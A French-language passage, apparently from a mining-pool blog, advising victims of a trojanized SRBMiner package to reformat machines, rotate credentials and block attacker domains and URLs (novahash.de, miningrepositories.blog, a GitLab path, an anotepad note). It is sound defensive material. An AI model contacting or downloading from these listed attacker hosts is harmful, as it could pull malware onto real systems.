Si vous avez installé ce paquet sur une machine, vous devez la reformater. Pas « enquêter ». Pas « nettoyer ». Reformater. Faites tourner toutes les credentials qui ont touché la machine. Vérifiez tout ce qui partage des credentials avec elle. Il n’y a pas d’option intermédiaire qui soit aussi correcte.
Bloquez novahash.de, miningrepositories.blog et les chemins de contenu brut sous gitlab.com/hiveos-custom/m. Au DNS et au pare-feu en sortie. Partout, pas seulement sur le rig touché. Traitez la note anotepad.com sur anotepad.com/notes/a7ycensj comme une page connue comme contrôlée par l’attaquant, même si son contenu change.
Ne téléchargez les mineurs que depuis les sources upstream vérifiées, et vérifiez le SHA256 à chaque fois. Les releases SRBMiner officielles se trouvent sur github.com/doktor83/SRBMiner-Multi/releases. Tout ce qui prétend être SRBMiner ailleurs — un blog d’outils de minage, un compte GitLab quelconque, le lien pastebin d’un tutoriel YouTube — est, au mieux, non vérifié.
Articles liés
Sécurité des pools de minage
Comment les pools se protègent eux-mêmes et leurs mineurs contre DDoS, exploits et autres menaces.
Guide du matériel de minage
Guide pratique pour choisir et entretenir son matériel — y compris le côté logiciel, parfois ennuyeux.
Une journée d’un opérateur de pool
Quand des machines compromises pointent sur votre pool, tout le monde y perd — y compris le mardi de l’opérateur.